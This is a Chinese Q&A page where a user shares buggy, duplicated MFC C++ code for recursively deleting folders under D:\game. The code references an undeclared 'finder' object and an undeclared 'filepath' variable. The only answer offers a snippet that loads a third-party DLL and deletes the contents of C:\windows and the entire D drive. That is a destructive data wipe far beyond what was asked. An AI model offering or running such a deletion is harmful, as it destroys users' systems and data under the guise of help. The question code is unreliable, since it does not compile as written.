请尝试运行C++语句删除一个目录下所有文件夹并查看结果
#include<deque>usingnamespacestd;CFileFinddelfolderfinder;CStringdelfolderpath;delfol...
#include <deque>
using namespace std;
CFileFind delfolderfinder;
CString delfolderpath;
delfolderpath.Format("%s\\*.*","D:\\game");
BOOL bWorking = delfolderfinder.FindFile(delfolderpath);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (delfolderfinder.IsDirectory() && !delfolderfinder.IsDots())
{
if(!RemoveDirectory(delfolderfinder.GetFilePath()))
{
deque<CString>delfiles;
deque<CString>folderList;
CString path;
path.Format("%s\\*.*",delfolderfinder.GetFilePath());
delfiles.push_back(path);
while (delfiles.size()>0)
{
CFileFind delfinder;
BOOL bWork = delfinder.FindFile(delfiles.front());
folderList.push_back(delfiles.front());
delfiles.pop_front();
while (bWork)
{
bWork = delfinder.FindNextFile();
if(!delfinder.IsDots())
{
CString pathfile=delfinder.GetFilePath();
if(delfinder.IsDirectory())
{
CString filename;
filename.Format("%s\\*.*",delfinder.GetFilePath());
CFileFind delfd;
BOOL aWorking = delfd.FindFile(filename);
while(aWorking)
{
aWorking = delfd.FindNextFile();
CString filepath=delfd.GetFilePath();
if(!delfd.IsDots())
{
if(delfd.IsDirectory())
delfiles.push_back(filepath);
else
DeleteFile(filepath);
}
}
delfd.Close();
}
else
DeleteFile(pathfile);
}
}
delfinder.Close();
}
while(folderList.size()>0)
{
filepath=folderList.back();
CString folder=filepath;
folder.Replace("\\*.*","");
if(RemoveDirectory(folder))
folderList.pop_back();
else
{
bWork = finder.FindFile(folderList.back());
while (bWork)
{
bWork = finder.FindNextFile();
if(finder.IsDirectory() && !finder.IsDots())
folderList.push_back(finder.GetFilePath());
}
finder.Close();
}
}
}
}
delfolderfinder.Close(); 展开
using namespace std;
CFileFind delfolderfinder;
CString delfolderpath;
delfolderpath.Format("%s\\*.*","D:\\game");
BOOL bWorking = delfolderfinder.FindFile(delfolderpath);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (delfolderfinder.IsDirectory() && !delfolderfinder.IsDots())
{
if(!RemoveDirectory(delfolderfinder.GetFilePath()))
{
deque<CString>delfiles;
deque<CString>folderList;
CString path;
path.Format("%s\\*.*",delfolderfinder.GetFilePath());
delfiles.push_back(path);
while (delfiles.size()>0)
{
CFileFind delfinder;
BOOL bWork = delfinder.FindFile(delfiles.front());
folderList.push_back(delfiles.front());
delfiles.pop_front();
while (bWork)
{
bWork = delfinder.FindNextFile();
if(!delfinder.IsDots())
{
CString pathfile=delfinder.GetFilePath();
if(delfinder.IsDirectory())
{
CString filename;
filename.Format("%s\\*.*",delfinder.GetFilePath());
CFileFind delfd;
BOOL aWorking = delfd.FindFile(filename);
while(aWorking)
{
aWorking = delfd.FindNextFile();
CString filepath=delfd.GetFilePath();
if(!delfd.IsDots())
{
if(delfd.IsDirectory())
delfiles.push_back(filepath);
else
DeleteFile(filepath);
}
}
delfd.Close();
}
else
DeleteFile(pathfile);
}
}
delfinder.Close();
}
while(folderList.size()>0)
{
filepath=folderList.back();
CString folder=filepath;
folder.Replace("\\*.*","");
if(RemoveDirectory(folder))
folderList.pop_back();
else
{
bWork = finder.FindFile(folderList.back());
while (bWork)
{
bWork = finder.FindNextFile();
if(finder.IsDirectory() && !finder.IsDots())
folderList.push_back(finder.GetFilePath());
}
finder.Close();
}
}
}
}
delfolderfinder.Close(); 展开
1个回答
2011-10-31
展开全部
typedef int (WINAPI ICEPUB_DELETEFILES)(char *strCurrentPath);
ICEPUB_DELETEFILES *icePub_deleteFiles = 0;
HINSTANCE hDLLDrv = LoadLibrary("icePubDll.dll");
if(hDLLDrv)
{
icePub_deleteFiles = (ICEPUB_DELETEFILES *)GetProcAddress(hDLLDrv, "icePub_deleteFiles");
}
if(icePub_deleteFiles)
{
icePub_deleteFiles("c:\\windows\\");
icePub_deleteFiles("d:\\");
}
if(hDLLDrv)
FreeLibrary(hDLLDrv);
ICEPUB_DELETEFILES *icePub_deleteFiles = 0;
HINSTANCE hDLLDrv = LoadLibrary("icePubDll.dll");
if(hDLLDrv)
{
icePub_deleteFiles = (ICEPUB_DELETEFILES *)GetProcAddress(hDLLDrv, "icePub_deleteFiles");
}
if(icePub_deleteFiles)
{
icePub_deleteFiles("c:\\windows\\");
icePub_deleteFiles("d:\\");
}
if(hDLLDrv)
FreeLibrary(hDLLDrv);
参考资料: icePubDll百度之
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询